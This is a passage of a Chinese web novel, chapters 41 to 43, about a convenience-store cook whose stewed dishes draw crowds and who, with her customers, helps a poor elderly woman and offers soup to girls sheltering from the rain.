牛腩上色时就已经有香味开始飘出来,等到葱、姜、蒜、香叶等配料依次下锅炒出香味时,香辛料特有的香味与牛肉鲜味交缠在一起,简直不要太香。 等到生抽和盐等调味也加入进去,蒸锅牛腩大火烧开转小火慢炖,霸道的肉香越来越浓郁,顺着厨房直往外飘,即便是这样冷的天气依旧能飘到街上,随机馋死几个路人。 “好饿啊,我们去侠客便利店吃饭吧……” “我们是出来采购,不是放假了,哪有时间去吃饭。” “早知道不来这边采购了,光闻香味就馋死个人。” 有两个路人被馋得恨不得直接翘班去吃饭,但最终也只是想想,还是老老实实去忙工作的事情。 明清欢并不知道自己炖个牛腩把人馋得都不想上班,在将牛腩小火慢炖时她也没闲着,开始做其他几道菜。 在另外一口锅里把辣椒炒肉、豆腐酿肉依次做好,她算着时间差不多了,将萝卜块加入牛腩中继续炖煮。 随着阵阵香味从厨房飘出来,店里顾客都被馋得不行,有些本来占到位置坐的人忍不住起身,直接走上前开始排队。 有一个人开始排队,其他顾客立刻就坐不住,十点半不到,两条长长的队伍已经排到街上。如果仔细观察的话会发现,排队的人中有不少都穿着外卖服,显然是街到跑腿代买订单。 除了跑腿小哥外,店内顾客中老年人占比也不少,除此之外还有一些小朋友。不过想想其实挺正常,年轻人基本上都要上班,自然没有空过来吃饭,实在嘴馋的只能请人跑腿代购。 至于老人和孩子,老年人只是老了,又不是不懂得欣赏美食,加上明清欢加快餐卖得不贵,他们当然愿意过来吃。而对孩子来说,侠客便利店的饭菜在他们心中地位已经和肯某基差不多,而这两者比起来,家长自然更愿意带他们过来吃饭,所以店内每天都会有一定数量的小朋友。 正是考虑到老人和小孩,今天这道萝卜焖牛腩明清欢没放什么辣椒,只丢进入一个干辣椒稍微提点味。 “哇~好香呀,姐姐可以吃饭饭了没?” 随着明清欢将萝卜焖牛腩端出来,有个小女孩奶声奶气询问。 “可以了。”明清欢喜欢孩子,闻言声音温和地回答。 “哇,太好了,可以吃饭饭了,我要吃两碗!” 听到小朋友欢呼的声音,明清欢脸上不自觉带出笑容来,很快就跟周瑶瑶一起将饭菜全部端出来。 萝卜焖牛腩是今天的新菜,顾客们视线自然会被它吸引,经过炖煮的牛腩此时变成深棕色,浓郁的酱汁裹在上面,为它带来油润光泽感 ,水灵灵的白萝卜吸收汤汁的颜色,此时看起来像是一块块漂亮的琥珀。 随着明清欢开始打菜,勺子在盆中轻轻搅动,浓郁的肉香夹着香辛料的气息以及萝卜的清香扑鼻而来,让站在最前面的顾客不自觉咽口水。 何止顾客们被馋到,队伍中那些帮忙代买的跑腿小哥们同样被勾起肚子里的馋虫,只觉得这单代买简直磨人。 好在跑腿小哥们还是很有职业精神,没多久就将快餐送到顾客手里。 十二点左右,小黄收到跑腿小哥们送过来的快餐。他们公司规模不算大,加上这次聚餐庆祝基本上只有销售部一个部门,所以他一个人就能把快餐拎到办公室里。 “聚餐就吃这个?你认真的吗?” “快餐?开玩笑的吧,吃这个我还不如自己点外卖。” “公司也太抠了吧……” 由于老板和经理都不在,员工们没什么顾忌,看到小黄提过来的快餐纷纷发出吐槽。 “这是那家侠客便利店的快餐。”小黄没有解释什么,只报出快餐来源。 有员工眼睛忽然亮起来:“侠客便利店?是我知道的那个侠客便利店吗?” “什么侠客便利店?” 销售部有人知道侠客便利店,想到在网上刷到过的视频已经期待起来,不过也有人不知道。 说话间销售部经理和老板走过来,经理还好,他亲自去店里吃过,觉得便利店的快餐比很多大酒店还好吃,完全不觉得聚餐时吃它会显得寒酸。 倒是老板,看到用一次性餐盒装着的餐盒时却是下意识皱眉:“小黄,好歹是聚餐,你就准备这点东西?” 经理明白小黄为什么只准备快餐,因为只要吃过就知道,它家味道好吃到人根本停不下来,吃完饭菜就能被撑到,就算准备水果、甜点什么的,大概饭后也没人有兴趣吃。 “老板你先尝尝,之前周总对它家菜那是赞不绝口。”经理伸手打开一份快餐,诱人的香味瞬间飘满整个办公室。 今天天气冷,萝卜焖牛腩这种肉香浓郁中带着萝卜清香的菜品简直不要太吸引人,更别说还有油焖大虾、辣椒炒肉等一系列看着就色香味俱全的菜品。 老板闻着香味不自觉就接过一份饭,筷子直接落上裹着酱汁看起来格外诱人的牛腩上。 牛腩肉质酥烂却不散不柴,筋膜部分还没怎么咀嚼就在嘴里化开,吃起来鲜味十足。 一块牛腩下肚,老板瞬间就明白周总为什么会对这家菜赞不绝口。 看到老板已经开动,而且吃得脸上不自觉露出享受的表情,其他员工早就忍不住,赶紧去拿自己那份。 萝卜焖牛腩何止牛腩好吃,萝卜更是绝了,咬下去绵软多汁,既保留食材原本的清甜,又带着肉汁的鲜香,好吃到差点没让人咬到舌头。 “这萝卜真是绝了!感觉比肉还香,轻轻咬两下就在嘴里化开,最重要的是完全没有萝卜的那股臭味,好吃死了!” “啊?萝卜有臭味吗?” “有啊,我以前吃的萝卜都有,所以我不爱吃萝卜,没想到原来萝卜还能被炖得这么好吃。” 除了牛腩和萝卜,吸收牛肉鲜味和萝卜清甜的汤汁同样是人间美味,淋到米饭上轻轻搅拌,吃起来咸鲜浓郁,余味还带着点萝卜的回甘。 “太好吃了!怎么会有人把萝卜焖牛腩做得这么好吃!” 别说同事们,就是上回已经去便利店吃过一回饭的小黄都被萝卜焖牛腩的味道给惊艳到,软烂入味的牛腩吃起来简直令人上瘾,那种带着点筋膜的韧劲感,越嚼越香,吃完嘴里余香都能令人回味半天。 这边整个销售部员工都从之前的“快餐有什么好吃的”变成“这快餐太好吃了,简直是人间美味”时,另一边,侠客便利店—— 店内顾客同样对今天的新菜赞不绝口,还有人甚至好吃到舍不得太快吃完。 而柜台那边,几个盆里的菜已经快要见底,排队的人却还有好多。 “奶奶你来了。”明清欢看到排到前面的老太太,让她把手里两个钢棚放到台面上,随即熟练地接过她递来的碗,给打了满满一大碗饭,又往饭上盖了勺“汤”。 老太太背都驼了,眼神也不是很好,直到接过碗时才发现米饭上有不少肉,不由开口:“不用给我打肉,肉那么贵,你该亏本了……” “只是汤里带的一点碎肉,打给其他顾客他们也不要,今天风大,你别出去了,就坐在店里吃吧。” 明清欢说完周瑶瑶就直接从厨房搬了张椅子放到旁边,热情招呼道:“奶奶你坐。” 说实话,便利店的汤拌饭都有顾客抢着买,怎么会有人会嫌弃碎肉,而且以明清欢的刀工与厨艺,她又怎么可能会做出碎肉碎萝卜,长眼睛的顾客都看出是她特意用勺子压碎。 谁家还没个老人,望着那个一看就知道日子过得很苦的老太太,其他顾客们自然看破不说破。甚至有人在店里小声打听,询问老太太是什么情况,想看看能不能给她提供点帮助。 老太太姓杨,是在附近靠捡破烂为生的老人,明清欢之前就经常将店里的纸壳送给她。 之前杨老太太背驼得还没那么厉害,能够自己做饭,这个月却是背越来越驼,做饭对她来说已经有点不方便,所以开始来明清欢店里花两块钱买碗汤拌饭,中午吃一顿,剩下的带回家晚上再吃一顿。 听到老太太那么可怜,立刻有人想带她去医院看看,不过很快得知之前已经有好心人领她去过医院,医生说是腰肌劳损加骨质疏松,给开了药和钙片,至于驼背,她的身体状况支持不了手术,所以驼背已经没办法解决。 大家都觉得老人挺可怜,不过坐在椅子上吃着饭的老太太自己好像不觉得,她吃着香喷喷的萝卜焖牛腩拌饭,发现碗里的肉不光炖得好吃,而且软烂到自己完全能吃动,饱经风霜的脸上甚至带着点笑容。 “这是什么肉?” 等明清欢打完饭收工时,老太太好奇地问,显然是她以前没吃过牛腩,不知道这么好吃的肉是什么肉。 “是牛腩,萝卜焖牛腩。” 第42章 第42章羊蝎子 “原来是牛肉,怪不得那么好吃。”杨老太说完还一个劲夸明清欢手艺好,做的菜好吃。 便利店里饭菜全部卖完,但厨房里却还有明清欢和周瑶瑶她们的午餐。 周瑶瑶平日里挺护食,但瞧着老人却不自觉心软,甚至联想到自己奶奶身上去,觉得要是这是她亲奶奶,她看着就得难受死。 可能女孩子情感就是充沛,她直接跑进厨房将自己午餐那份菜分出来一大半。 “奶奶你还要菜不?我今天没什么胃口,吃不完就浪费了,你帮忙再吃点吧。” 周瑶瑶嘴里问着要不要,实际上根本不给人回答的机会,直接把菜倒进老人碗中。 这么好吃的菜,怎么会没胃口吃,老太太立刻担忧地抬头,问她是不是生病了。 “没有,可能是零食吃多了。”周瑶瑶张口就来。 杨老太确实是个命苦的老人,丈夫和儿子都去世,如今孤零零一个人在世间谋生,平日里她话不多,但在听到周瑶瑶是零食吃多而没胃口吃饭时,却是难得多念叨了几句。 在周瑶瑶跟老人说话时,有不少顾客都在店中买了牛奶、面包等吃食,以及纸巾、牙膏等日用之类,悄悄拎着往外走。 说实话,顾客们那副鬼鬼祟祟的模样,让街上路人第一反应以为他们在店里偷东西了,不过明清欢就站在门边,路过的 人基本都认识她,觉得应该不会有人敢当着她面偷东西,这才没有嚷嚷起来。 便利店门外的角落里停着辆又小又破的三轮车,车上放着不少纸壳、塑料瓶,顾客们将纸壳抬起来,把他们买的东西都藏在下面。 而这一切,都被某个本来是拍美食的主播用镜头记录下来,当天晚上视频传到网上时,网友们感觉大冷天的,看到这个视频心都暖起来。 【啊……这年代竟然还有人没吃过牛肉,连牛腩也吃不出来吗?老奶奶好可怜。】 【别何不食肉糜了,牛肉又不便宜,没吃过不是很正常。】 【老板真是好人,明明店里快餐大家都抢着买,却愿意找理由便宜卖给老人吃。】 【两块钱那么一大碗饭,还特意把肉和萝卜弄碎打给老人,老板真是人美心善。】 【是啊,她家菜别说碎肉碎菜,就连汤拌饭都有人抢着买,却为了让老人没有心理负担故意那么说,真是好人啊。】 【萝卜焖牛腩看起来好好吃的样子,老奶奶吃得好香啊,把我都给看馋了。】 【那些顾客人也挺好的,就是人家老奶奶在店里吃饭,你们直接把东西拎出去不就好了,干嘛做个好事跟做贼一样(笑哭)】 【怎么都是牛奶、面包之类的啊,老年人舍不得吃这些的,我奶奶家牛奶经常会放到过期,因为她舍不得喝,应该给买点米面粮油什么的。】 【你真是个大聪明,你怎么不想一下,老奶奶要是能自己做饭,为什么要出来买饭吃,你别看她在店里吃饭只花两块钱看起来很少,但那是我们这么觉得,对老人来说,她在家自己做,可能两块钱能吃好几天。】 【怎么可能,两块钱够干嘛的,现在买包袋装泡面都得两块五了。】 【怎么不可能,最便宜的米一块多一斤,甚至如果买陈米,可能只要几毛钱,一斤米蒸出来的饭都能吃好几天了。】 【有本地人吗?我出钱,马上快到冬天了,能帮我买几件衣服送给老奶奶吗?】 【本来准备明年再去q市吃美食,现在看到老奶奶,有点想马上就去,吃完美食顺便帮帮她,一举两得。】 或许很多人自己过得都不是很容易,但在看到孤苦无依,连背都驼了还在卖力踩着三轮车捡破烂的老人时,大家心里还是很难受,想做点力所能及的事情帮帮她。 网友们有些想自己出钱出力,有些却是直接@q市官方,让相关部门出来说话。 随着视频在网络上发酵,热度引来更多网红过来侠客便利店拍视频,做直播,杨老太太的事情终于引起本地官方关注。 本来社区是想将老太太送到敬老院去,但老太太觉得自己还能动,并不愿意去敬老院被关着,于是社区便给她搞了个低保,让她每个月能领到固定的生活费,不用捡破烂也有钱用。 至于房子,由于老人有地方住,就没给她申请廉租房,而是带着志愿者帮她把家里整个大扫除一遍,里里外外都搞得干干净净。 等到老太太再次出现在侠客便利店时,她的背依旧驼着,但整个人身上却是穿着暖和的新衣服,那被风霜侵袭变得皱巴巴的脸上更是难得带着笑容。 “奶奶来了,明天店里炖羊蝎子,记得早点过来吃。” 明清欢看到老人出现在店中,直接拿着她专属的碗打好饭菜递过去。 之前由于老太太不愿意,她只能借着打汤给点“碎菜”,现在由于老人自己做饭费劲,社区那边给了钱到明清欢手上,让老人每天过来吃饭,老太太心里没有负担,她终于可以把所有菜全部给她来上点。 实际上说是社区,其实钱是本地以及网络上好心人出的,只是怕老人不愿意接受好意,才以社区名义告诉她。 “好。” 老太太一口答应下来,店内已经有顾客赶紧起身给她让位:“奶奶我吃完了,你到这坐着吃。” 可能是明清欢手艺好,老人在她店里吃饭时胃口还不错,一大碗饭菜都能吃光,还能喝点汤。 店内其他顾客看到老人吃得那么香,心情都变得愉悦起来,显然是做完好事带来的满足感。 同时有吃货也没忘记明清欢刚刚对老人说的话,不由询问起来:“老板,明天真的吃羊蝎子吗?” 立冬以后天气越来越冷,这会正是吃羊肉的好时候,不少人光是想到热乎乎的羊肉嘴里已经开始分泌津液。 “对。” 得到明清欢肯定的回答,不少顾客瞬间就兴奋起来,表示明天要早点来。 顾客们讨论起羊蝎子时,明清欢却是没闲着,将杨老太太带过来的饭盒里装上她晚餐吃的饭菜。 等老人吃完午饭,明清欢将饭盒交给她时不忘说:“你要是自己热着费力的话,可以晚上直接过来我这吃。” “对门邻居会帮我热,她用那个什么炉子放进去,几分钟就好了。”老太太说完还一个劲夸邻居人好,这么多年没少照顾她。 明清欢猜到应该是邻居用微波炉帮她热饭,立刻放下心来,交代她回家时慢点,目送她骑着三轮车远去。 杨老太太是个闲不住的,哪怕现在有低保,不用干活也不会饿死,但她还是喜欢每天在街上捡点纸壳什么的。 当然,没有生活重担后她偶尔也会早早来到便利店,坐在店内看会电视顺便等饭吃。 昨天明清欢说要做羊蝎子,今天早上就提前把新鲜羊蝎子泡在水里让血水泡出来。 “真不用你帮忙。” 明清欢见周瑶瑶明明怕冷怕得不行,还非要在厨房里打下手,笑着喊她出去。 “好吧,那需要帮忙时你记得喊我。” 明清欢确实不用人帮忙,等周瑶瑶离开她就动作麻利地将所有食材改洗洗该切切,将菜全部备好摆在台面上。 等把米饭也蒸上,她转身将泡着羊蝎子的大盆里血水倒出来,换水仔细清洗,清洗完,冷水下锅加姜和料酒焯水去腥。 做羊蝎子的酱料她没用现成的火锅料,而是亲自炒料,当香料在锅中被完全炒出香味时,浓郁的香味飘出厨房,顺着店门直接飘到大街上去,简直不要太馋人。 “便利店里又在做什么好吃的?” 隔壁童装店里的店员闻见浓郁的香味,明明早上吃得挺饱,现在闻着味道感觉又饿了。 “听说今天有羊蝎子。”另一位店员语气透着期待,“冬天是吃羊肉的好时候……” 期待的何止是童装店的店员说便利店老顾客中爱吃羊肉的可不少,得知今天有羊蝎子吃,好多人早早就来到店里。 “杨奶奶,这两天身体怎么样?” 有人来到店里看到杨老太太,主动上前关心。 店里越来越热闹时,厨房内,明清欢已经将羊蝎子下进锅里煮着,原本褐色的羊肉裹上红油酱汁,看起来特别有卖相。 随着小火慢炖,羊肉香味越来越浓郁,混着酱料的气息一起从锅中源源不断飘出来,光是闻着就令人食欲大开。 洛淮青闻着店中越来越浓郁的羊肉香,完全没办法再继续码字,干脆收起电脑开始专心等饭吃。 “老板好了没?我好饿啊!” 可能冬天饿得快,店内排队的顾客闻着香味,有人忍不住冲厨房里喊话。 有人喊饿后,其他人也觉得越来越饿,周瑶瑶闻言指着货架说:“那不是有好多吃的,你们不行买点垫垫肚子。” “有这么香的饭菜吃,谁想吃零食。” “就是,理解你想卖货的心情,但这会真不想吃零食。” “那你们慢慢等吧,至少还得半个小时。”周瑶瑶拿起手机看了眼时间,发现现在才十点四十分左右。 大部分人坚持要留着肚子吃饭菜,但有个别顾客是真被香味馋得肚子都咕咕叫起来,到底还是没忍住,去货架那边拿了袋薯片。 薯片平时吃还挺好吃,但闻着酱香浓郁的羊蝎子香,薯片非但不解馋,反而越吃越饿,越吃越有点不想吃。 “你要吃吗?” “我不吃,你自己慢慢吃吧。” 见朋友不吃,为了不浪费,买了薯片的顾客只能自己全部解决掉。 还好明清欢没让他们等太久,十一点多时就开始端着菜出来。 其他 菜先不说,那盆冒着热气的羊蝎子真是看着就令人垂涎欲滴,羊蝎子表面裹着油润红亮的汤汁,透过骨头切面能看见骨头里晶莹剔透的骨髓,加上汤里躺着的白菜和土豆等配菜,整道菜看起来卖相十足。 “馋死我了,老板你做的这个羊蝎子看着就好好吃。” “哇,上面肉好多啊,看得我好想咬一口。” 羊蝎子要放辣才好吃,不过考虑到店中来吃饭的有不少老人和小孩,明清欢特意做了辣和不辣两种,让大家都能在冬天品尝一下羊蝎子的美味。 明清欢听到顾客们的话,先拿杨老太太专用的碗给她打好饭,让她先坐着吃才开始给其他顾客打饭。 小火慢炖的羊蝎子肉质酥烂脱骨,即便是杨老太太这种老人都能吃得动,她闻着扑鼻而来的香味,张嘴咬了口肉,很容易就咬下来,味道更是鲜而不膻,入味到每丝肉都能吃出咸鲜味。 老太太没想到自己活了一辈子,临到头来还能享到这种福,吃得眼睛都眯起来,看她那享受的模样就知道羊蝎子有多美味。 有还在排队的顾客望着她的吃相,喉咙都不自觉吞咽起来,等终于排到前面时,声音都不自觉放大:“老板我要羊蝎子……” 而等饭菜拿到手,好多顾客更是忍不住直接上手,抓起块羊蝎子就开始啃。 羊蝎子上的肉被炖得特别烂,光是骨头被拎起来时肉已经是要掉不掉,轻轻咬上去,浓郁的肉香弥漫整个口腔,咀嚼间香料的味道从肉中飘出来,简直不要太好吃。 啃骨头很容易令人上瘾,好多顾客拿到饭菜就开始专心啃羊蝎子,将骨头上每一丝肉都啃得干干净净,享受着那股咸鲜微辣的滋味。 “家人们给你们看看便利店今天新出的羊蝎子,冬天就是要吃羊肉,它家羊蝎子炖得简直太漂亮了,而且特别香,肉香中混合着香料气息,鲜得人口水都要下来……”今天又有主播来店里做直播,介绍完就迫不及待咬上去。 经过高温炖煮,羊蝎子骨髓里的油脂都被煮出来,为汤汁更添一分鲜味,而浓郁的汤汁裹上羊蝎子,又将这份鲜味还回去,以至于整口羊肉吃起来不光酥烂入味,而且格外的鲜美。 主播直到吃完整块羊蝎子,才意犹未尽地再次开口:“太好吃了,肉完全炖入味,吃起来咸鲜微辣,肉质烂而不柴,轻轻一咬就脱骨,最重要的是一点羊膻味都吃不出来。老粉们都知道,我最怕羊膻味的,没有膻味对我来说绝对是加分项……” 主播夸到一半,没忍住诱惑低头继续吃起来。羊蝎子上肉已经被啃完,他能吃的自然只剩下骨髓,被炖够火候的羊骨髓甚至不用拿筷子去戳,轻轻一吸就吸出来,同样吸满汤汁的骨髓滑嫩如膏,不用怎么咀嚼就在舌头上化开,满满都是油脂的香味。 【骨头里那玩意能吃?看起来就很腻歪的样子……】 【那是骨髓,吃肯定是能吃的,但很油腻,上次我去外面吃酱大骨时试过一回,腻得我差点没吐出来。】 【骨髓本来就能吃,难道没人跟我一样特别喜欢吃骨髓吗?我觉得骨髓比肉还好吃,特别喜欢买大骨头回来吸骨髓。】 【我也吃骨髓,我感觉主播手上那个羊蝎子的骨髓看起来好好吃的样子,而且轻轻一吸就能吃到,看得我馋死了。】 直播间里粉丝们看到他吃骨髓,有人被馋到,有人却在质疑骨髓到底能不能吃。 主播回味着嘴里的余味,终于注意到直播间的评论,开口道:“骨髓当然能吃啊!而且羊蝎子里面这个骨髓真的不油腻,吃起来香香辣辣,入口即化,我感觉比肉还好吃。” 说完他又拿起块羊蝎子,这次却是在啃肉之前把骨髓吸进嘴里,发出“太香了”的感叹。骨髓吃完,他低头继续啃肉,越啃越觉得香,越吃越觉得过瘾。 看到他那副享受得不得了的表情,直播间里粉丝有被馋到,纷纷发出“啊啊啊”的声音,抱怨自己为什么不在q市,不然也能吃到如此美味的羊蝎子。 明清欢做的羊蝎子何止肉好吃,里面配菜同样很美味,吸满汤汁的土豆咸香软糯,白菜染上汤汁咸鲜微辣的同时还保持着食材本身的清甜,吃起来爽口又解腻。 自从之前远远妈妈在网上分享儿子在家厌食,在便利店哐哐干饭的视频后,越来越多家长喜欢带孩子过来吃饭。 今天有家长特意点了份不辣的羊蝎子,想看看平日里不吃羊肉的孩子能不能接受,没想到还真可以。 “你不觉得这个肉臭吗?” “不臭啊,这个肉香香的,好好吃呀!” 六岁左右的小朋友双手一起抓着块羊蝎子,努力去啃夹起骨缝里的肉,吃得那叫一个香。 家长想吐槽同样是羊肉,为什么以前她就嫌羊肉臭臭的不肯吃,今天却是又不觉得,还吃得那么香。 不过等她亲自尝一口,发现羊蝎子炖得又烂又入味,而且还完全没有膻味,忽然觉得原来羊肉和羊肉之间也很有差距。 冬天来上一份热乎乎的羊蝎子,简直不要太享受,很快店里所有人基本都在埋头啃骨头,以至于说话的声音都少了好多。 明清欢看到顾客们吃得那么香,心里很有成就感,余光在注意到周瑶瑶打个饭菜被馋得口水都快掉下来,眼见已经没剩多少,干脆让她先吃。 “那我先去吃饭了。” 周瑶瑶说完就立刻跑进厨房,没一会端着碗坐到柜台后啃起羊蝎子来,享受着酥烂入味的羊肉,她感觉大冬天来上这么份美食,简直是种享受。 “瑶瑶,我吃,给我吃~” 鸟笼就在柜台旁边,她不过来还好,她一过来,八哥立刻就开始讨食。 “是辣的,你不能吃。” “能吃,能吃,瑶瑶,给我吃,瑶瑶……” 随着八哥会说的话越来越多,表达能力也越来越强,周瑶瑶觉得它不停喊自己名字简直烦人。 “别叫了,生怕别人不知道我名字是不是?”她没好气道。 “瑶瑶,大美女,给我吃~” 见它就嘴馋时说话最好听,周瑶瑶又好气又好笑,最终撕下一点点羊肉在旁边汤里过了一下后塞给它:“辣死你。” 八哥吃到肉终于安静下来,开始用爪子抓住羊肉慢慢啄着吃。 它是安静了,结果店内很快就传来小朋友哇哇地哭声,明清欢顺着声音看过去:“怎么了?” 毕竟是在她家店里,有孩子哭她少不得要问上一句。 “没事,是这人吃饱了撑的逗孩子玩,说碗里羊蝎子是喜羊羊。” 他本意是解释一下孩子哭的原因,结果孩子听到“喜羊羊”三个字的瞬间哭得更加大声。 “妈妈,这个真的是喜羊羊吗?” 隔壁桌小朋友发出询问的声音,孩子妈妈望着自家孩子天真的小脸,正想说不是时,却听到他说:“喜羊羊真好吃!” 孩子妈妈:“……” 她没想到自家儿子如此心大,不过还是开口解释道:“不是喜羊羊,就是普通的羊。” 她说话时,隔壁桌小孩还在哇哇大哭,任身边大人怎么解释不是喜羊羊都没用,最终孩子爸爸只能哄道:“真不是喜羊羊,不信你去问老板,这菜是老板做的,她肯定知道。” 明清欢觉得有些大人是真无聊,非要逗孩子,不过看到小家伙哭得脸都红了,还是拿着手机 上前帮忙。 “喜羊羊那么聪明,灰太狼都抓不住他,我就更抓不住了,所以那只是普通羊肉而已。”她说完还打开手机播放喜羊羊动画片给他看,“你看,喜羊羊是不是还在。” 哭唧唧的小朋友听完她的话,再看到手机里活蹦乱跳的喜羊羊,终于收住哭声,甚至转哭为笑:“喜羊羊在这里,没有被吃掉。” 小孩子情绪来得快去得也快,眼睛里还残留着眼泪,但在确定吃的不是喜羊羊后就重新拿起没吃完的骨头啃起来,吃得那叫一个香。 “还好吃猪蹄和排骨时没人说那是小猪佩奇的肉,不然老板你天天帮忙哄孩子都哄不过来。”等明清欢哄完孩子,周瑶瑶小声吐槽,觉得有些大人是真吃饱了撑的。 第43章 第43章酸萝卜老鸭汤 当天晚上,关于羊蝎子的视频被传到网上,馋死一堆网友的同时,不少人则在吐槽喜欢逗孩子的大人。 【羊蝎子看起来好好吃,肉一看就炖得特别烂,还有里面的骨髓,好想吸一口啊!】 【口水都快下来了,我也想吃羊蝎子@平平要不咱们明天去吃羊蝎子火锅吧,冬天就是适合吃羊肉的季节。】 【我真是手欠,非要大晚上看美食视频,现在馋得满床打滚,啊啊啊……可是我已经刷过牙了,天气还那么冷,真不想起来去吃东西。】 【想到上次吃铁锅炖排骨时有人逗我儿子,说他吃的是小猪佩奇,搞得他哭得不行,我是真有点想骂人。】 【有人要组团一起去q市吗?被侠客便利店的美食馋了一年,真的好想去尝尝到底是有多好吃。】 在网友们计划着想来q市吃美食时,q市却开始下起雨来,冬天的雨打在身上,那叫一个冷啊,尤其是淋到雨后再被风一吹,简直令人瑟瑟发抖。 周瑶瑶坐在店里望着外面的雨,扯着嗓子冲厨房里喊:“老板,下雨了,我今天晚上可以在店里住不?” 冬天还是在店里住方便,她找到机会就想赖在店中留宿。 明清欢正在厨房准备晚餐,台面上放着已经焯水去腥过的鸭块,她此时正用锅炒底料,姜片、花椒在锅里爆出香味,再把鸭肉下进入煸炒。 “可以啊。” 伴随明清欢回答一起飘到周瑶瑶面前的,是带着花椒香与鸭肉被煸出油脂的香气,让她直接被香味诱惑到厨房里来。 “不是说晚上炖老鸭汤吗?”周瑶瑶进来就看到她在炒鸭子,有点怀疑自己是不是记错了。 明清欢笑着道:“炖汤前先用姜和花椒把鸭子煸一下,既能把鸭肉里多余的油脂煸出来,还能够进一步去腥增香,让鸭肉……” 听到她有条不紊地讲解,周瑶瑶发现自己果然还是适合吃,不适合做,因为她觉得做菜实在太麻烦。 如果让她来炖老鸭汤,她可能焯个水就直接丢锅里开始炖了,甚至就连焯水这个步骤她都是在厨房里耳濡目染上,否则她怕是直接把鸭丢锅里炖。 随着鸭肉表面被煸炒成金黄色,油脂被完全煸出来,浓郁的香味飘满整个厨房。 鸭肉煸好,终于可以开始下一步,转入砂锅里炖。 把鸭子炖上,明清欢转身拿碗装了不少自己腌制的酸萝卜,显然是准备做道鲜香开胃的酸萝卜老鸭汤。 老鸭得用小火慢炖,酸萝卜不急着加进去,她趁着炖汤的时间开始炒其他菜。 跟她的忙碌比起来,周瑶瑶就显得有些无所事事,于是盯上那碗酸萝卜。 她偷偷拿筷子夹起块萝卜丢进嘴里,咬下去发出咯吱脆的声音,吃起来酸甜脆辣爽,简直不要太开胃。 吃着吃着她好像忘记自己是在偷吃,没忍住夸起来:“老板你腌的酸萝卜真好吃,又脆又入味,吃起来太开胃了。” 酸萝卜确实脆,就算她不开口明清欢就已经听见她吃萝卜的声音,在听到她吃个没完时才笑着打趣:“你再吃碗里的不够炖汤了。” 周瑶瑶闻言发出不好意思的笑声,端着碗表示自己可以帮忙从坛子里再拿点出来。 一个小时后,厨房里鸭鲜味已经浓郁到直往人鼻子里钻,明清欢打开砂锅盖将酸萝卜倒进去接着炖。 在她开盖那一瞬间,周瑶瑶不由发出“真香”的感叹,并询问还要再炖多久。 “还要有一会。” 如果说砂锅里原本只飘出鸭肉脂香被炖入汤中的淳厚香味,那么随着酸萝卜加进去,酸萝卜的清爽和鸭肉鲜香混在一起,组成一股光是闻着就特别开胃的香气。 “太馋人了,我还是出去等着吧。” 周瑶瑶在厨房里又待一会,觉得闻得到吃不着实在太难熬,干脆从厨房里跑出去。 她出来后发现原本的小雨变成大雨,未免雨水飘进店中,赶紧走到门口准备将原本打开的半扇门关上,就见两个女生正在街上淋着雨跑过来。 “你们没事吧?”周瑶瑶看到她们头发都已经湿透,赶紧拿起柜台上的抽纸递过去。 两个女生也是倒霉,出来逛个街没想到会下雨,由于她们家就在附近,见雨比较小,就准备跑快点直接冲回家算了,没想到刚冲到一半雨忽然就变大,只能赶紧往就近的便利店跑,决定去买把伞。 轰隆隆—— “我们俩今天是走什么霉运了?” 用纸巾把头发上水吸一吸,再擦把脸的短发女生听到雷声,再看到原本就暗的天色彻底黑透,雨更是噼里啪啦越下越大,忍不住发出抱怨。 她同伴没有说话,却是忍不住连叹几口气,显然赞同她的说法,觉得今天确实倒霉。 “没事没事,你们可以先在店里躲下雨,我去给你们拿吹风机。” 周瑶瑶见一会功夫就从中雨变大雨,心里也觉得她们倒霉,嘴里却是赶紧安慰,同时未免她们会感冒,直接去楼上把吹风机拿下来给她们吹头发。 两个女生很感激她帮忙,本来准备花钱把吹风机买下来,在周瑶瑶表示这是老板自用的吹风机,不用她们给钱时,便在店里买了两把雨伞和几条毛巾。 “好香啊。” 在把头发吹干后,两个女生闻着店中越来越浓郁的香味,忍不住发出感叹,话刚说完,短发女生立刻打了声喷嚏。 厨房内,明清欢早就听见外面动静,正好老鸭汤炖好了,干脆盛好汤送出去:“来喝点热汤。” “哇,汤终于炖好了,太香了!”周瑶瑶眼睛都亮起来,接过汤就边吹边喝。 两个女生想喝又有点不好意思,客气几句才腼腆地接过碗,酸爽鲜美的气息扑鼻而来,配上汤热乎乎的温度,还没喝就让她们感觉很舒服。 鸭肉提前煸炒出油脂,此时炖出来的汤看起来金黄清澈,配上酸萝卜的酸香,看着就很是清爽。 一口鸭汤下肚,先是味蕾尝到那股酸鲜浓郁的滋味,随即从胃暖遍全身,多喝几口整个人手脚都热乎起来。 酸爽开胃又不失鲜美的热汤驱散两个女生身上被雨水带来的寒冷,同时也驱散她们心里因为淋雨而产生的郁闷。 如果前面她们还觉得自己挺倒霉,那么现在喝着香喷喷的老鸭汤,她们却觉得自己挺幸运,毕竟可不是谁都能在晚上还品尝到侠客便利店的美味。 汤美味就算了,等用筷子夹起鸭肉,那酥烂不柴的口感,轻轻一咬就脱骨,好吃到她们都有点想哭,感觉大冬天能喝上如此美味的老鸭汤,简直不要太幸福。 两个女生难得喝到如此鲜美的汤,都有点舍不得那么快喝完。周瑶瑶却是大口大口喝着,喝完汤专心吃肉和萝卜,煮过的萝卜依旧脆嫩爽口,不过由于吸收鸭汤味,余味中还带着点鲜。 今天这天气也是见鬼,雨突然变大,又忽然变小,就她们几个喝碗汤的工夫,已经从噼里啪啦变成滴滴答答。 下雨天留客天,等她们汤喝完,明清欢顺口留那两个女生吃饭。 她们当然很心动,但已经用了店里的吹风机、纸巾,还蹭到如此美味的老鸭汤,哪里好意思再留下来吃饭。 “不用了,谢谢老板。” 起身离开前短发女生还问了一句汤多少钱,明清欢自然不会收钱,反而提醒她们回家时走慢点。 “好,谢谢老板。” 当然,谢谢完明清欢,她们也没有忘记再次感谢周 瑶瑶。 其实下雨天在便利店躲雨只是件小事,但往往小事中的温情更容易暖人心。 两个女生在路上时就忍不住各种夸明清欢和周瑶瑶,说她们人美心善,厨艺还好,等到家后更是忍不住直接发视频分享这种生活中的小暖心。 每个人或多或少都会有淋雨的经历,看到视频还挺能代入自己,因此视频发出去评论区就很热闹。 【想起我小学时,某次放学路上忽然下大雨,把我淋成落汤鸡,我边往家里跑边哭,特别委屈家里人为什么不来接我,最后是个好心的老奶奶给了我一把伞。】 【我这今天也在下雨,还好我带了伞,不然冬天淋雨想想就很烦。】 